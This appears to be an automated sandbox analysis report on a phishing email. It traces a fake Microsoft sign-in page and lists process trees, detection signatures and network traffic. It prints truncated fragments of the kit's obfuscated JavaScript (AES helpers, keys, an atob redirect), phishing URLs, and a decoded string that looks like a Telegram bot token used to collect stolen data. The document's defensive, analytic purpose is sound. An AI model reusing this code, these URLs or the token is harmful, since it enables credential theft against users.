Edit tour

Windows Analysis Report
original.eml

Overview

General Information

Sample name:	original.eml
Analysis ID:	1665579
MD5:	ab45c57c56a06d8678530642f4d18097
SHA1:	12c1310016b963117d31d66f2f19878d9f0c4c95
SHA256:	f2fbdf710c727f5d11f73d7ffb834c4a093ee07b53e73a23fec2c92aedf181e5
Infos:

Detection

Gabagool

Score:	68
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Yara detected Gabagool

AI detected suspicious Javascript

HTML page contains hidden URLs

HTML page contains suspicious javascript code

HTML body contains low number of good links

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

Javascript checks online IP of machine

Queries the volume information (name, serial number etc) of a device

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

OUTLOOK.EXE (PID: 7040 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\original.eml" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 6192 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "99989DC4-AA4C-4DF1-A75E-5019F70D24F3" "13742CC7-0F2E-4A32-B1A8-902775E4788D" "7040" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

OUTLOOK.EXE (PID: 6964 cmdline: "C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\C2NOL0OA\phish_alert_iocp_v1.4.68.eml" MD5: 91A5292942864110ED734005B7E005C0)

Acrobat.exe (PID: 6932 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\C2NOL0OA\Contract Agreement4750993387597316495427877665.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3944 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2068 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2236 --field-trial-handle=1580,i,9066445822376409500,15523697511158691536,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 1692 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://studiolibracreatives.com/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3.html MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5932 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1856,i,2560975313422804885,8050898146808390072,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2240 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
2.8.pages.csv	JoeSecurity_Gabagool	Yara detected Gabagool	Joe Security

Sigma Signatures

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 7040, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\OneNote.OutlookAddin\1

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'cochranamdmann.com' does not match the legitimate domain for Microsoft., The URL does not contain any recognizable association with Microsoft., The URL appears to be unrelated to Microsoft and could be a phishing attempt., The presence of input fields such as 'Email, phone, or Skype' is typical for phishing sites targeting Microsoft users. DOM: 2.8.pages.csv

Yara detected Gabagool

Source: Yara match

File source: 2.8.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.0..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://studiolibracreatives.com/%E5%90%8E%E8%99%8... This script demonstrates several high-risk behaviors, including data exfiltration and redirection to a suspicious domain. The script collects the user's email address from the URL parameters and then redirects the user to a potentially malicious website. This behavior is highly suspicious and indicative of a phishing or malware attempt.

HTML page contains hidden URLs

Source: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA

HTTP Parser: https://one.alketbilabs.ai/

HTML page contains suspicious javascript code

Source: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA

HTTP Parser: window.location.href = atob(

Source: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA

HTTP Parser: Number of links: 0

Source: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA

HTTP Parser: Total embedded image size: 55498

Source: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA

HTTP Parser: Base64 decoded: 7700364146:AAG2VNpVdg7uYRXRJOMqkQvuNxlStIkB73w

Source: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA

HTTP Parser: Title: Account sign in does not match URL

Source: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA

HTTP Parser: let current_ip = null;function t9okwk(plaintext, key) { const keysize = [16, 24, 32]; if (!keysize.includes(key.length)) { throw new error("incorrect aes key length. use a 16, 24, or 32 bytes key."); } // generate a random iv (initialization vector) const iv = cryptojs.lib.wordarray.random(16); // encrypt the plain text using aes with the given key and random iv const encrypted = cryptojs.aes.encrypt(cryptojs.enc.utf8.parse(plaintext), cryptojs.enc.utf8.parse(key), { iv: iv, mode: cryptojs.mode.cbc, padding: cryptojs.pad.pkcs7 }); // combine the iv and ciphertext (iv is necessary for decryption) const encrypteddata = iv.concat(encrypted.ciphertext); // convert the combined data to base64 for easy transmission or storage return cryptojs.enc.base64.stringify(encrypteddata);}let psk = "lqke0twwj6epzbhjsewpgkr1jmakhzae2xfdw7okas4xoqeygmqdj1feyzdknm1t85hyyn/nc5mabrep1iii5g==";tb = "nzcwmdm2nde0njpbqucyvk5wvmrnn3vzulhssk9ncwtrdnvoegxtdelrqjczdw==";a...

Source: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA

HTTP Parser: let usuuid = "lqke0twwj6epzbhjsewpgkr1jmakhzae2xfdw7okas4xoqeygmqdj1feyzdknm1t85hyyn/nc5mabrep1iii5g=="; let policy = "xrhayzdlugvbr+c+/ccx6favvw8bhenhoagfxohejvipzw9bfgidd60tywt5vrao"; let sv = "1"; let sir = "1"; let tb = "nzcwmdm2nde0njpbqucyvk5wvmrnn3vzulhssk9ncwtrdnvoegxtdelrqjczdw=="; function decstr(encryptedstring, key) { const keysize = [16, 24, 32]; if (!keysize.includes(key.length)) { throw new error("incorrect aes key length. use a 16, 24, or 32 bytes key."); } const encrypteddata = cryptojs.enc.base64.parse(encryptedstring); const iv = cryptojs.lib.wordarray.create(encrypteddata.words.slice(0, 4)); const ciphertext = cryptojs.lib.wordarray.create( encrypteddata.words.slice(4) ); const decrypteddata = cryptojs.aes.decrypt( { ciphertext: ciphertext, }, cry...

Source: https://pub-e34937fc417148e6b0ed0cb1209aabd4.r2.dev/www.outlook.office365.cozsidAAQkA0000000000000000000000DZiMjRkdgdMmYyLWY5gfdgdYyLWY5gfdgdYyLWY5gfdgd9999999999.html	HTTP Parser: No favicon
Source: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA	HTTP Parser: No favicon
Source: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA	HTTP Parser: No favicon
Source: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA	HTTP Parser: No favicon
Source: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA	HTTP Parser: No favicon
Source: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA	HTTP Parser: No favicon

Source: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA

HTTP Parser: No <meta name="author".. found

Source: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPA

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 88.198.22.18:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 88.198.22.18:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 88.198.22.18:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 74.125.138.147:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.152:443 -> 192.168.2.16:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.152:443 -> 192.168.2.16:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.170:443 -> 192.168.2.16:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.16:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.68.147:443 -> 192.168.2.16:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.8.44:443 -> 192.168.2.16:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.8.44:443 -> 192.168.2.16:49771 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 6MB later: 33MB

Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	TCP traffic detected without corresponding DNS query: 88.198.22.18
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3.html HTTP/1.1Host: studiolibracreatives.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: studiolibracreatives.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://studiolibracreatives.com/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3.htmlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /www.outlook.office365.cozsidAAQkA0000000000000000000000DZiMjRkdgdMmYyLWY5gfdgdYyLWY5gfdgdYyLWY5gfdgd9999999999.html HTTP/1.1Host: pub-e34937fc417148e6b0ed0cb1209aabd4.r2.devConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://studiolibracreatives.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: pub-e34937fc417148e6b0ed0cb1209aabd4.r2.devConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pub-e34937fc417148e6b0ed0cb1209aabd4.r2.dev/www.outlook.office365.cozsidAAQkA0000000000000000000000DZiMjRkdgdMmYyLWY5gfdgdYyLWY5gfdgdYyLWY5gfdgd9999999999.htmlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /www.outlook.office365.cozsidAAQkA0000000000000000000000DZiMjRkdgdMmYyLWY5gfdgdYyLWY5gfdgdYyLWY5gfdgd9999999999.html HTTP/1.1Host: pub-e34937fc417148e6b0ed0cb1209aabd4.r2.devConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://cochranamdmann.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/580ba44007a6/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://cochranamdmann.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/d60px/0x4AAAAAABL5dawoZSGbwYDL/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://cochranamdmann.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Microsoft-CryptoAPI/10.0Host: x1.i.lencr.org
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=930c69e57fdbb045&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/d60px/0x4AAAAAABL5dawoZSGbwYDL/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/d60px/0x4AAAAAABL5dawoZSGbwYDL/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: cochranamdmann.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cochranamdmann.com/bzM2NV8xX25vbSZyYW5kPVpr/pZbFE9JnVpZD1VU0VSMDIwNDIwMjVVNTAwNDAyNDM/apkPBDObFsRXMYdhB2iMWoRnoadWepmsZHPAAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=jbnbbdlaufu9hm8ter40nqskit; cookie_test=test; js_enabled=true
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/509735373:1744727329:-YW1A3bwW053c2zmmSS2OcOMzov6Q1-tW3O6WnEbbzE/930c69e57fdbb045/L9le7iPzvl.6kqXJx27DzU_8FFIEckT1r1_h8HvAV8s-1744730286-1.1.1.1-xyxc0INDBWNjnZvbqZjUv3kf8PYKsmLBXzDQyidaDQxfQVP7puliEmqOcXUvoVxN HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
